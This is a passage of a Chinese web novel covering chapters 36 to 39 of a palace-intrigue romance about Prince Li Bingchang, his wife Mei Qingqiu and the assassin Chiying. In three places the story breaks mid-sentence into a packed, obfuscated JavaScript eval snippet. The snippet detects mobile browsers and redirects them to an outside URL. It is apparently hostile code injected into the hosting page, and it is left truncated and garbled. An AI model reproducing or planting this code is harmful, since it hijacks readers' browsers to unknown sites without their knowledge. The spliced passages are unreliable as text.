“秉璟曾疑心傅雁是赤影，或者是赤影的同伙，你觉得呢？” 强风掠过枯枝，将树梢垂挂的雪花抖了个干净，几滴砸落额角带来冰凉触感。梅倾秋往前走一步避开落雪。 李秉昶则卷起袖子撑在她头顶，大袖摆紧贴她后背垂下，恍似把倾斜向她的伞。 “傅雁虽是太子派来的，但跟在王爷身边也一年有余，王爷对他还没有把握吗？” 梅倾秋认为自己是能摸清李秉昶想法的，他的行事与态度早就表明他逐渐接纳了傅雁，至少不似以前那般设防。 就是此刻，他微笑的神情亦表示她说对了，他不曾怀疑过傅雁。 可他如此望着她，目光深邃，仿佛凝望的是更遥远、更深处的地方。 他低喃：“倘若一年半载就能辨析一人，你可看明白了我？” “如果王爷情愿讲与我知，便不会有此疑问了。” “我讲了就会打乱契约。” “那便是了。” 面前人头上发冠盛满了雪，肩头亦有零星雪花，梅倾秋用他给的手绢推走，攥住绢角那片翎毛，道：“这手绢绢面浮绒丝，明儿重给你备新的。” 李秉昶收袖垂手，头顶没了遮挡，薄弱日光迎面扑来。他随意抖去雪花，点头称好：“既如此，便丢了吧。” “行。” 她顺手一扔，他提铲一拨，泥土淹没了绢上的朱色翎毛。 36. 第 36 章 当天深夜。梅倾秋已经准备更衣就寝了，忽闻屋外传来一阵急促的脚步声，由远而近停在门外。两片影子镶在窗纱上纠缠，碎语簌簌。 “门外何人？” “王妃，是我与姜云。”矜儿道。 “进来吧。” 梅倾秋坐在榻上，木门咿呀推动，姜云与矜儿穿过屏风到她前方。 姜云未语先跪，扑通一下伏低身子，道：“请王妃明察！民女感激王妃与王爷的出手相救，招我进府更是雪中送炭。但我万万不想为难王妃，请王妃准我出府！” 梅倾秋听完她的长篇大论，仍未明白何为起因。她抬眼向矜儿，矜儿低声道来。 原是偏房里的下人们毁谤姜云，说她是王爷接回来的二夫人，准备给王爷做妾的。只因王爷不曾介入过家仆的添增，也不曾往府带回过女子。此类谣言已经暗中传了三个时辰。 姜云此行，不止是对谣言愤怒，也是对权势的畏惧。 “姜云，抬起头来。” 姜云依言抬头，怯生生地仰望。 “你本人的意愿呢？倘如你不愿侍奉王爷，无人可以强迫你。不必选择逃走来回避。” “我不愿，王妃。”姜云再次叩拜，“如果可以选择，我也不愿离开……王妃对我有恩，我怎能对不起王妃。” “那你便安心留下，矜儿会帮你的，起来吧。至于造谣的那几人，明儿让管家遣回，襄王府不养长舌的窝里反。” “是，王妃。” 姜云起身，将头埋得低低的，用袖子抹了抹眼睛，欠身与矜儿一同退下。 三更锣响，已是子时。 梅倾秋走出寝卧，隔壁屋果然昏暗一片。她转身往书房方向，房内点着灯烛，案桌陈纸，墨砚湿润。想来王爷刚走开不久。 她折返回房，途径后院看见傅雁伫立院门旁，探头往院里瞧。 “你在这做什么？” 傅雁闻声回头吓了一激灵，支支吾吾。 院内传来铲土的声响，梅倾秋偏头向前，发现有身影立在树下掘土。掘的是她白日里种的梅树种子，掘的人是李秉昶。 石铲挖出一块小坑，他俯身细细拨弄，如同在发掘什么矜贵的宝物。 思及此，梅倾秋当真止了步，看看他藏了什么宝贝。 约莫半盏茶功夫，他便挖到了。一角白色钻出泥地，李秉昶丢了铲，改用手刨。拉出来的却不是什么瓷器名画，而是被她扔了的手绢。 他沾满泥灰的手在衣摆上擦了擦，拾起手绢移到旁边立着的灯盏下，如此他便是回身朝她所在的位置了。 烛光映亮手绢，那片翎毛红得刺眼。 李秉昶适时发现了她。他忙站起身，将灯盏与手绢往身后藏，半张脸隐在黑暗中。 “王爷这是在做什么？” 梅倾秋边说边走近。 晌午刚埋好的种子都被挖了出来，湿哒哒的泥土东一个坑，右一个坑。 李秉昶答非所问。道自己并未挖她种的梅树，并且这些坑洼会重新播好种子。不会破坏她的梅园。 梅倾秋追问：“你是为了那条手绢？” 她不明所以，他大惊失色。 “不是王爷说要扔的吗？” “我悔了。” 他不明说，她便不懂。她不懂，他便不敢说。 李秉昶找补：“留在泥里会坏了土壤。” 但她看着他将脏兮兮的手绢藏进袖。 这条手绢自沾上他的血那一刻，仿佛就被他认定了。 第一次发现时她没要回来，也没戳穿他。现下不得不对他私藏她的闺中物，睁只眼闭只眼。 “说的是。”她硬着头皮回。并提起姜云的事。 李秉昶更加惊讶，道他全无这种想法。 “我原只是担心傅雁内疚，也可怜姜云丧父，才给了她一份活而已。纳妾根本是无稽之谈！这帮人我明儿亲自问罪。” 院门旁的傅雁听了全程，反应比李秉昶还大。不止因这谣言，还因李秉昶竟是如此为他着想。 傅雁的兄长在太子身边当值，已经不是什么秘密，他被派遣到李秉昶身边是身负使命的。 他眺望一眼院中人，二人又重种上了种子。 -次日。 细雨取代了飘雪，整座都城经阴雾笼罩，这多变的天气令摊贩叫苦连天。 许骄松令马车侯在街角，只身持伞，漫步在杂乱交错的小巷中，白衣被泥水溅出墨点。 这一片街区是制剑打铁区。敲铁声哐啷作响，恍似自雨中砸来的雷击。 他坊遍各屋，瞧见与自己所需之物相似的，就掏出一张画，询问画中短刀可是从这打的？半个时辰下来，收效甚微。 这张画乃李秉昶所画，画的是赤影挑衅时掷来的短刀。 此刀样式表面普通，细看便知刃尖短了几分，并且刀背较刀锋稍厚。显然是以用刀人的习惯定制的。 若能找到打铁的师傅，便有了捷径找到赤影。 “打不来，”打铁师傅满脸络腮胡，一手拿画，一手拿着自己打出来的短刀。仔细给许骄松解释：“若要打出这种倾下的刀面极为麻烦，稍有不慎就打废了，反之，打好了又很锋利。故才磨得比一般刀刃短，以免掌不好力度，将人一击毙命了。” 许骄松若有所思听着。想起徐家命案便是一刀毙命的。 “可有你认为有可能打出这种刀的人？” 打铁师傅瞧了许骄松一眼，犹豫不决。许骄松当即递上整个钱袋。 “望大哥指个路。” 钱袋在打铁师傅粗糙的掌心里轻轻晃动，他会心一笑揣进兜，领着许骄松走到门边。手往左侧尽头指。 “巷子尽头右拐，第三家门前有酒坛垂幔的，是外地进城的。你可到哪去瞧瞧。” “行，多谢大哥。” 雨已经停了，许骄松抄起伞便往尽头去。依着打铁师傅的话立足酒坛边，红色幔布飘飘然，屋内壮汉背对着他铸剑。 许骄松拂起幔布，脚尖方一过门槛，壮汉耳朵耸动回过了头。 “你有何事？”壮汉没好气道。 “听闻大哥铸剑了得，我慕名前来的。” 许骄松将伞靠在门上，大步走进，左看看右望望，敏锐捕捉到墙角一筐盖着灰布的短刀。有几把挣出了灰布，与李秉昶给他看的极为相似。 “公子惯使长剑吗？” 壮汉说着挡在了许骄松面前。许骄松扬起笑脸应：“是。” 为免暴露，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263853|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头往左走，停着扎捆的长剑前，随意抓起一把。 长剑出鞘，犀利尖响。剑面微微翻转，反出壮汉的背影，他悄悄拿起另一条布盖住筐。 原以为打铁师傅只是拿钱办事，现在看来还可能是一伙的。 许骄松收剑放回，称道好剑。做足戏定了两把剑。 “明日来取可行？” “明日末时后吧。”壮汉道。 许骄松欣然应允，留下一贯铜钱做定金，便转身离开。 走至街上许骄松没有急着上马车，反倒打发马夫先回去。他见到了‘熟人’宁枝独自在街边茶肆品茶，便十分自然地走了过去。 伞往侧倚一放，拍桌喊：“宁兄许久不见！” 宁枝本就背对着他，当下被他这越界的行为吓了一跳，嗔怒地看着他。 “上回我就说了，我与你并不相熟。” “宁兄真是贵人多忘事，密林之后我们还见过呢，这个上回应是某个月黑风高的晚上……” 他故作玄乎，指的是梅倾秋刺杀皇帝，他掩护她出宫的那晚。 “那晚谢过许兄相助。”提及此宁枝才敷衍地道了个谢。 “公子的茶。我多拿来了一个茶杯。” 掌柜端来一壶茶、两个茶杯和一碟糕点。早在看见许骄松落座的一刻，他便将茶盅下面压的纸条抽走了。 “掌柜的真有眼力见。”许骄松道。 掌柜笑嘻嘻地说有需要再吩咐。他与宁枝交换了个视线，不得不放弃此次接头，转身走开。 “此前我都不知，你原来与王妃是旧相识。你们是何时的交情了？” 他提壶给两个瓷杯斟茶，见宁枝全无品茶的兴致，提杯就饮。 他笑道：“我还以为宁兄是乐于片刻悠闲的人。” 宁枝斜睨他一眼，“别以为你与襄王府交情深，便与我交情深。你不识我，别妄自揣摩我。” 说罢掏出铜钱放在桌上，大步往街面走。 “欸等等……” 许骄松本还在慢慢品茶。他惯于趣品人生，是纵使身置漏檐之下，也会品竹叶水的人。这下他急得一口饮尽，起身追上宁枝。 “宁兄还是这般急性子。好好好，算我失言，还不是宁兄过于俊秀，总让我以为你是位儒雅书生。” 宁枝站定朝他瞥来一眼，许骄松后知后觉地“啊”了一声，手掌拍了拍脑门。 “绝不再擅自给你安形象了。”他煞有其事地保证道。 宁枝沉默寡言，许骄松喋喋不休，二人简直是两个极端。 “你又是如何结识襄王妃的？莫非你曾在梅府当差？” “没有。” “或者你是哪家大人的公子？可我从未听说过你，你府上……” “许公子。”宁枝回身直面他，“你似乎对我有误解，我祖上五代都不是达官显贵，我也不是与你同道的公子哥。我忙得很，没空陪你打发时间。” 许骄松慌忙道：“宁兄会错了意！我并无此想法……” 宁枝打断他：“那就好，告辞。” 说罢便掉头拐进小巷，静谧街道竟连鞋履踏进雨坑的声音都特别响。 雨珠折返而来，许骄松撑开伞上前，小巷已无友人踪影。 37. 第 37 章 阿风听命于宁枝，他本身是一名铸剑师傅，赤影的暗卫组所需兵器都是他铸的，特别是宁枝惯耍的飞镖和短刀。 若无任务，他便整日待在悄无人知的打铁铺里。故意选最僻壤的位置，除了同区的打铁师傅和宁枝，无人进过这件屋子。 故而他稍一松懈，忘了拉紧兵器筐上的盖布，被眼尖的不速之客瞧见了。 他本就对那意图不明的男子充满警惕，直到入了夜，同经营着铸铁店的老李头找上他，询问那拿着图纸的公子哥可有到这来。他才笃定这不是偏见。 阿风反问图纸上画着什么？老李头将刀柄、刀尖斜、刀背厚全说了出来。阿风光听就知道是宁枝的兵器。 次日到了约定取剑的时辰。客人准点到来，拿货给钱一气呵成，未与阿风攀谈半句，便离去了。 约莫半柱香时间后，门边酒坛哐啷一声响。阿风急忙出屋，四处空无一人。 这个空酒坛时常被用来传递消息，但从来不是这种方式。 阿风躬身朝坛底望，看见一抹刀光。 伸手掏出，果真是宁枝的短刀，用细绳绑着一封信。 阿风二话不说关好铺门，足尖一蹬跃上屋顶，他先定睛四瞧，确认无人埋伏，才转身往药铺去。 “是宰相之子，许骄松。” 宁枝听阿风描述来人，立即猜出是许骄松。 她翻转短刀，这种兵器她有一大把，许骄松所持只能是李秉昶给的。既如此她不能直接将信带回襄王府，只能飞鸽传信让梅倾秋前来相见。 - 襄王府内。 落日斜照寒枝，枯影残叶贴窗而垂，随风轻摇或猛颤。窗上枝叶逢春般蔓生。 李秉昶闭目正坐在书房扶椅上，鸽子困在笼中扑棱双翅，许骄松兴致盎然地喂鸽子。感叹： “若说成家的男子有何显著变化，便是家中有了声响啊。王妃未进门前，王府可是死气沉沉的。一进门只能听见利剑出鞘声。” “就一只鸽子，让你说得神乎其神的。” “那院栽梅树怎么说？” 李秉昶闭口不回。 余晖婉转到他身上，手背有了明显暖意。忽而刀尖刺破窗纱撕碎了这份安详。 李秉昶睁开眼，两指夹住刀面。与赤影此前扔来的短刀相同，这次同样是直奔他脸部而来。 许骄松飞快跑出门，左右张望寻不见人影。 “回来吧，你找不到他的。” “回信说了什么？” 宣纸移开露出李秉昶沉思的神情，他垂手将纸搁在案桌上。道：“赤影要见我。” “什么？” 许骄松取过回信，粗略过了一遍。 “要求你一人前往。这太危险了，何况地点还是对方定的。” “我必须去。” 他给赤影的信从头到尾没有表明身份，一是恐信给错了人，二是借此看看赤影能否精准找到他。 去信不长，简言意骇。便是想将赤影收入麾下。 李秉昶不执着于抓捕赤影了，他想尝试招揽这股叛乱的狼子野心，代替自己斩断皇朝。待他继位，有的是除赤影的机会。 “这很有可能就是陷阱。” “试问主帅连踩过平地的信心都没有，将士哪敢随着上刀山？” 故李秉昶只身前往。 当晚他准时到达约定的竹林。夜深飘雪，竹林深处荒无人烟，森冷气息拖拽着马儿四蹄抖动。 疾影自身侧蹿过，李秉昶双眼捕捉见他的身型，黑衣人墨点般泼过暗青色的竹竿，最后攀附在一根竹竿上。 其背靠青竹，双脚后攀挂在竹竿上，衣摆空荡荡的在身前晃。乍眼看去，仿佛只缺腿鬼。 “听闻王爷奉旨追捕我，何故又言要我合伙？” 是男声。 自上回姜云之事，傅雁主动跟李秉昶坦白：姜三曾提出赤影是女子。因此李秉昶半信半疑地联想过他的王妃。他对自己夫人的身手了如指掌，以她的功力完全可以做到赤影之前的神出鬼没。并且正因为她介入姜三案，徐家老爷就被赤影杀了。 可眼前的赤影，是男子。李秉昶暗自松了口气。 “本王确实身负追捕你的任务，未有动作只因本王惜才，你若归顺于我，便可摆脱贼名，翻身为王。” ‘王’是信上没写的。果不其然，赤影饶有兴致地追问：“如何为王？” “本王为皇，你便称王。” 闻言赤影仰头大笑，身后竹竿颤颤摇荡。赤影飞身而下，肩上雪花飘飘洒洒。他立足坡上的礁石，慢悠悠道：“舍我声望，换你登皇位的台阶，区区藩王，是不是太不够格了。” “赤影之名响彻江湖，可何处有你容身之地？只怕卖了这名，都换不来一壶酒。何不就任它在茶余饭后陈名千秋，你凭本名登青山。” 赤影略有迟疑，但不搭腔。自顾自地说另有要求。 “除非王爷能让出兵符。” 李秉昶没封地，但相对的握有一支骑兵，只是不得驱使，日后前往封地才可动用。 他做好了赤影会讨价还价的准备，万万没想到对方竟会提出这种要求。 赤影说得有理有据：“王爷虽然交出兵符，但你若坐上皇位，此符便失效了。反之，我一介平民擅用王爷兵符，无异于自投罗网。这于我们是双重保障，各无退路。” 马儿在寒风中冻得碎步不止，李秉昶松开缰绳，脚蹬马背，飞跃到赤影身前。赤影不慌不忙地与其相视，他一袭黑衣，双肩经雪花濡湿，狮子大开口的人将脸遮得严严实实。 李秉昶扯下腰间悬缠的兵符，提绳而前，道：“只有赤影在我面前不是赤影，才可言各无退路。” 赤影眼周皮肤微微抖动，他是感受到了帝王家瘆人的压迫力，以及讶异于梅倾秋的神算。 出发之前，梅倾秋曾给他忠告：要想他交出兵符，他定会要求你褪去面具。 赤影解开面罩，黑布下是一张棱角分明，却坡显沧桑的脸，同样也毫无记忆点。若不刻意谨记，或许在街上擦肩而过都认不出的那类人。 “如此，足有诚意了吧？” 李秉昶递上兵符，赤影双手接过。自此，险棋渐成舟。只是能否乘风而行尚不得知。一方砍浆，一方藏帆，舟如何行？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287718|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明面上，李秉昶奉旨抓捕赤影却毫无进展，被指能力不行。但往后数月里赤影也不再露面。所以李秉昶被皇帝骂了两顿就收走了驱使刑部的权力。 而兵符，自然而然到了梅倾秋手里。 -翌日清晨。 时隔数月，梅倾秋再次见到了穆妮娅。青锦儒裙代替了那身艳丽异服，银镯圈饰藏在大袖摆里，极少再发出张扬的叮响。 “襄王妃，许久不见。” “太子妃在大宜住得可还习惯？” “当然，挨过严寒，大宜气候可比吐蕃好多了。但论风景，吐蕃也不逊色，若是有机会，襄王妃也该到吐蕃看看。” 后半句穆妮娅压低了声音，许是意识到这是难以完成的空话。襄王不可擅自离开都城，身为王妃的梅倾秋自然同样受限，便是位居太子妃的穆妮娅也是如此。自古和亲女子皆不再返国。 “盼望有这么一天。” 说罢梅倾秋微微颔首，道别离去。 双脚刚走出长廊，身后传来惊呼，梅倾秋与矜儿相视一眼，扭头往回跑。只见穆妮娅瘫倒在地，婢女搀扶着她上半身，声嘶力竭地呐喊。 皇宫地广，几步就隔道红墙，扯开嗓的叫唤冲破殿门并非难事，不一会就涌来大批宦官宫女围观。梅倾秋拨开人群，让人遣来步辇。抓起穆妮娅的手腕把脉。 步辇来得快，梅倾秋也一路跟到了东宫。此时太子还在上早朝。 太子的两位侧妃闻声而来，命人赶忙传太医，被梅倾秋否了。她道自己略通医术，太子妃只是受了风寒，并无大碍，很快便会醒。 如此两位侧妃也不再执拗，待了片刻便走了。 而穆妮娅苏醒是半个时辰后。矜儿在外守门，房里只剩梅倾秋与穆妮娅二人，她才说真话：“你有喜了。” 穆妮娅起身离榻，双脚踩在绸布上，讶异道：“无误？” “无误。我尚未讲与旁人听，也帮你拦下了太医。” 她缓缓坐回床榻。榻上人远眺壁画，那是一副普通的山水画。穆妮娅凝视了许久，木滞的眼神中透着股坚定，而后这悲壮的眼神转向梅倾秋。 “给我堕胎药吧。” “太子妃……此等药会侵蚀你的身子，日后恐落隐疾。” “药会侵蚀身子，胎儿难保不会。” 穆妮娅低头看自己的腹部，双手只是垂在身侧。 “任其出生才会在我心上烙下隐疾。如果他可能会断送我坚持了半生的目标，那我宁愿不要他。” 吐蕃俯首称臣只是因为忌惮大宜，穆妮娅随时可能与牟达里应外合。如今她坚决堕胎，也更令梅倾秋坚信这一点。她怕孩子会软化她的仇恨。 “你不给我，我也会想办法自己找。”她加上一句。 没办法，梅倾秋只得应允，尽量给她相对不伤身的药。明日进宫让矜儿传给婢女。 梅倾秋伸手欲推门，穆妮娅的声音再次响起。 “你是不是觉得我狠心？你们习医的不就爱说生命可贵吗？” “不，你有权决定要不要生。你也没有抛弃这个胎儿，而是为他规避了一个错误的人生。” 38. 第 38 章 冬末卯时。天方破晓，阴天雾气飘渺，凉飕飕的街上萧疏无影，行人寥寥无几。就是早点摊也刚刚支起帷帐，穿梭街巷的多为进城摆卖的小贩。步桑也是其中一员。 她在一众摊贩中最为显眼，她年纪小，个子矮，总肩挎藤篮，戴厚厚的棉帽。棉帽是杏黄色的，是竺月给她织的。 步桑的固定摊位是在包子铺的斜对面，今日这时辰已经是晚到了。她匆匆从藤篮里取出棉布铺在地上，而后将藤篮里的东西统统倒出摆放整齐，多是些藤条编制的小玩意。混在其中的手绢花布便是竺月绣的。 自从宁枝将步桑从酒鬼老爹的手里救下来，她不必再做粗活累活，也不必提心吊胆担心被卖到赌坊。但她依然坚持自己赚钱养活自己。因为她还记着要还宁枝的一百两银子。 肚子咕咕叫唤，步桑起身穿过街面到包子摊前，从钱袋里拿出铜板买包子。 蒸笼微微撬开一角，肉香呼哧呼哧地扑鼻而来，她接过包子给钱，铜板跌撞声中掺入一道微弱的呜咽。步桑站定回头，几对鞋履跑入偏巷，青蓝衣摆飘飘而逝。 她手抓包子往偏巷走去。 窄巷经重楼遮挡，加之阴天，巷中愈加昏暗。步桑肩贴石壁，悄悄探出一只眼睛。方才看见的青蓝衣摆来自一名不足八岁的男童，他昏迷在三名壮汉中间，被手脚相叠推进马车。 步桑惊呼出声，慌忙用手捂紧嘴巴。她快速跑回摊前，将物件胡乱装进藤篮，挎上背重跑到巷角。巷子里的马车正好朝另一头出口行去。 步桑紧跟其后。马车比人跑得快，但偶尔进了拥堵街巷也得勒停，故步桑时跑时停，还真没有跟丢。 她就这样跟着他们远离人烟，穿过密林，到了一堵古怪的石墙外。如步桑识轻功，跃上半空，就能看见墙外还有路，这是一座石堡。 她不会轻功，但会爬树。她放下藤篮，撸起袖子就开始爬树，伏哉分叉的第一根树枝上还是什么都看不见。她手攀树干，一鼓作气再往上爬。 忽而另有一股重量压上树枝，使得脚踩的树枝猛颤。 步桑惊讶回头，手刀自她脖侧劈来，她被打晕了。杏黄色棉帽滚落草丛中。 安州城内出现了怪案。两月以来孩童离奇失踪，据衙门统计约达十人之多。年龄均在十岁左右，多为男童。 为免扰乱民心，皇帝禁止谈论此案，只命刑部抓紧查清失踪人员的去向。皇帝曾三次前往道庙，求道问法，未得因果。 今日的襄王府格外热闹，不断有客人前来。先是许骄松，后是宁枝。 两方相谈之事皆为太子，四人终于聚在一起共享线索了。 宁枝：“昨夜我夜探密林，发现太子私造的洞窟已经成了空壳。” 许骄松：“这段时间我的探子也说没看到太子的人出入，但也不曾见到大规模迁移。” 宁枝：“或者得了风声，连夜跑的呢？” 梅倾秋：“又或者，他们还在那，只是躲起来了。” 李秉昶默契接上话：“地下。” 另外两人恍然大悟，宁枝向来雷厉风行，当即道：“我明日再去探查一番。” 她是朝梅倾秋说的，许骄松抢先答：“我与你一起。” “你会拖累我的。” “就让许公子去吧。”梅倾秋打圆场，“独你一人我也不放心。” 宁枝这才松了口，不情不愿地辞别出府。许骄松紧跟其后，乐此不疲地与她说话，绕着她转。 童年经历使然，宁枝生性孤僻，待人设防，遇了聒噪张扬的许骄松，竟也拿他没辙。 见梅倾秋盯着二人背影凝望许久，李秉昶还以为是在担心他们的安全。 实际上宁枝的身手了得，她擅长近战，惯用兵器是短刃。她的武功是跟梅倾秋学的，二人的功力不相上下。 李秉昶：“别看安行所居文职，他如果参加武举，夺个武状元绰绰有余。” 梅倾秋：“许公子身手固然卓越，与宁枝相比，可不一定谁能赢。” 二人皆是为友人撑台，只因宁枝的男相装扮过于成功，至今未被戳穿，此时的维护显得有些意义不明。 时常进出襄王府的外人里只有许骄松和宁枝，二人同为主人的故友，给家仆们的印象却大不相同。只因许骄松是王爷的故友，而宁枝在是王妃的故友之前，还有一层‘男女之别’的关系。 据说府内曾有人暗中议论，道王妃莫非有了男宠，还明目张胆请到府上，专逮王爷不在的时候。这话传到李秉昶耳朵里了，说者听者皆被即刻遣散出府。同时府上多了条不明文规矩：在襄王府谈论襄王妃，是一禁事。 故而，王妃自个却是被蒙在鼓里。不知言行尽会被旁人话长短，也不知此时的王爷微显怒颜是为何。 “那我可得找机会与宁枝切磋一番了。” 他意味深长道。 “王爷也想争这个第一？” 他悻悻然笑了，答得含糊其词：“此第一，非彼第一。” 攀谈戛然而止，傅雁来报：昭贵妃急诏王爷进宫。 昭贵妃虽是李秉昶的母妃，但毕竟只是养母，这对母子在相处的年月里总是以礼相待，基本没有促膝长谈的时候。李秉昶封王搬出宫后，与昭贵妃的关系愈加疏离，极少传他相见。更别提还是急诏。想来必是出了什么大事。 梅倾秋留在府里，翘首以盼李秉昶回来问个究竟。 两个时辰不到，李秉昶就回来了，但脸色铁青。傅雁止步于院外，向梅倾秋微微颔首，便退下了。 天色渐晚，已是戌时，过了晚膳时间。梅倾秋问其是否在宫中用过膳？李秉昶无言摇了摇头。 “矜儿，命伙房起灶做个汤食吧。” “是。” 矜儿得令退下，寂静院中余其二人。见李秉昶状态不对，梅倾秋放弃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301140|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘问的想法，转身欲回房。 “王爷看上去疲惫得很，先回房休息吧。” “且慢。” 李秉昶喊住她，走近抓起她的手，掠起宽袖，她腕上的翠绿玉镯便挣了出来。 月色之下，玉镯里的丝缕翠晶仿佛会流动，在月光下泛起涟漪。这玉镯是他的生母慧妃的生前物。 李秉昶两只手握住她的手腕和手心，指腹轻轻摩挲玉镯表面的光滑。 梅倾秋一头雾水，轻唤声：“王爷”。 他回过神来，抬眼朝她微笑，皮笑肉不笑。此笑最是疲倦。 他无言其他，也不松手，反而牵着她往后院走。边走边道：“贵妃找我，为的是堇婳的事。” “堇婳公主出了什么事？” “堇婳入宫陪贵妃，不慎被发现了她与谢卫的相处方式。” 梅倾秋心中警铃大作。提及公主与驸马的相处之道，她早在半年前就知晓了。当时她还被公主委托出面调和，只是旁人难断家务事，她也只得权作提醒。自那之后未再与公主驸马相见，竟不知二人问题仍未解决。 “与驸马至今未同房。”李秉昶补充。 同房与否本是夫妻事，奈何帝王家从来没有自己的事，行事最先顾及的是除自己以外，同族人的脸面、他人的看法。 公主与钦点的驸马不合，新婚夜都没同房。失名声的是公主。整件事情落入民间，驸马绝不会被提起半句。 “贵妃找你便是为这事？她想你如何？” 李秉昶蓦地发笑，似是也觉得要说的话荒唐得很。 “贵妃认为此事我有责。我对自己的妹妹不上心，才致使其被人欺负。可当我提出废除驸马，贵妃又不满意。” 二人鬼使神差走到了种子刚刚发芽的梅园。 “道我乃捂不热的石头。如我母妃一般。” 梅倾秋瞳孔睁大，听到这话，竟对他话语里的惆怅悲伤感同身受。 知你者最晓得何处痛。昭贵妃怎会不知，面前人最大的弱点莫过于屈死的母妃。 李秉昶站在她侧前方。圆月低悬，他的面孔经月勾勒，影子堪堪盖在她身上。 她垂眸被他抓紧的手，他微微施力，指缝之间透出翠色的玉镯，这就像一个掉落在她手里的宝石，可以用来打开宝箱。 梅倾秋左手往上叠，右手跟着回握他的五指，双手轻轻相和。好似一个古老的唤醒仪式。 仰头望月的人经这举止触动，木然回过身，僵硬的手被人拉近哈了口气，他如遭雷劈，死死定住。 她指腹细细摩挲着他的手背，宛如一片细长羽毛刺挠着他心窝，令他后颈发颤。 她又接连哈了几口气，抬眼笑道：“这不就捂热了。” 银月潜入黑夜，撒致人情迷的毒。何为解药？瞧瞧你牵紧之人。 他深受此毒，昏了头，握住她后脖，俯首吻上她的唇。 39. 第 39 章 梅倾秋猝不及防被吻了。她想她大脑呆滞了至少有半柱香时间，实际上只有一刹那。 鼻尖相挨，双唇无言相贴，他的指尖缓缓钻入她后脖发丝。颈背一阵发颤，梅倾秋猛地醒神，双手推开他胸膛。 她后退得猛，脚跟被石子所绊，身子站不稳往后倒。李秉昶眼疾手快拉住了她，这下二人身体又再次相贴。 梅倾秋匆忙抽手离身，抬手打了他一巴掌。 双方都慌了神，维持了好一会儿的呆木对视。 “我……” 她没给他说话的时间，转身快步跑开。 闯祸者脑子更懵，脸颊逐渐发热，他才后知后觉回过神。 初春多雨，细而密的雨点砸落，与房瓦合奏扰人心神的雨曲。梅倾秋几乎是落荒而逃，她走得急，廊内遇到端来汤食的矜儿，胡乱应了声，随手指路就回屋了。 关上房门微雨又戛然而止，四处过于安静，才使她不断回想起那副画面。她用指尖轻碰唇瓣，移目到腕上那只玉镯。 梅倾秋抓住玉镯，方一脱出腕骨，想起他自觉被抛弃的落寞孤寂，又戴了回去。 鞋履踩过雨坑，脚步声愈近愈失，最后只剩衣摆的摩擦声。高大身影落在窗纱上，与梅倾秋微微相挨。 “对不起，我失态了。” 李秉昶抬手轻叩木门，一击落地，屋内烛火熄灭。无言驱赶了他。 “那你先休息，明日我们再谈。” 屋内仍然寂静无声，李秉昶伫立片刻，转身回隔壁屋。 他心乱如麻，睡不安稳，坐不宁神，几乎整宿未眠。自院中细看，可见昏暗窗纱上的身影来回走动，反复拉窗，最后索性走到廊道。 时过天明，李秉昶倚身红柱，呆望了一晚的厢门。他刚刚阖目，就被鸟鸣声和家仆拾掇王府的细碎声吵醒。 守了一晚的厢门大开，房里已无人影。 李秉昶左顾右盼，抓住一个女婢盘问：“王妃呢？” “王妃大早就用过早膳了，现下奴婢也不知道王妃行踪。” 契约关系中一旦有一方逾越，这段关系就失衡了。那个失控的吻便是压倒桥梁的巨石。只怕这个举措提醒了她什么。 梅倾秋同样整夜未眠，清晨推开门看见的便是守在门前的李秉昶。瞥见他身影的瞬间，昨夜记忆席卷而来，梅倾秋如遇豺狼，撒腿就跑。 要问为何如此无措？梅倾秋自己也答不上来。她被吓到了，不知道怎么处理，害怕看见他，所以躲着他。 如此呈现给对方的，便是厌恶和生气。李秉昶想向她道歉，却连面也见不到。 二人同在一个屋檐下，几番他明明瞧见她的身影，一个拐弯便不见了。 王府说大不大，说小也不小，用来捉迷藏却是最适宜的。她总在他眼前晃，可又如同随风的绢布、垂檐的树叶、被日落藏匿的影子……看得见捉不住。 殊不知，当你恍然发现一个影子的时候，对方已经停留许久。 矜儿看在眼里，悄悄知会王爷。他便在偏房的院中找到了他的王妃。 他远远瞧着她，成了那个观望时被发现，立即匆忙躲开的人。 二者心思却也不同，一个是怕相遇，一个是怕相遇即离别。这也是李秉昶不用心找她的原因，说到底这是他自己的府邸，找一个人哪有那么困难。他不过是害怕她会按契约书上所写的，提出和离。 片刻后，李秉昶身子朝前，撞上了左侧行来的梅倾秋。 四目相望，满是无措与尴尬，梅倾秋先反应过来，扭身往回跑。李秉昶追上前，这次他抓住了她。 “等等……”他思忖着如何称呼她，在这种情形下喊王妃显然极为不妥。 “倾秋……” 称芳名又过于越界。 梅倾秋背对着他，侧目看了眼被他抓住的手。李秉昶连忙松开。 “我们都忘了昨夜的事吧。” 梅倾秋留下这么句话，扬长而去。 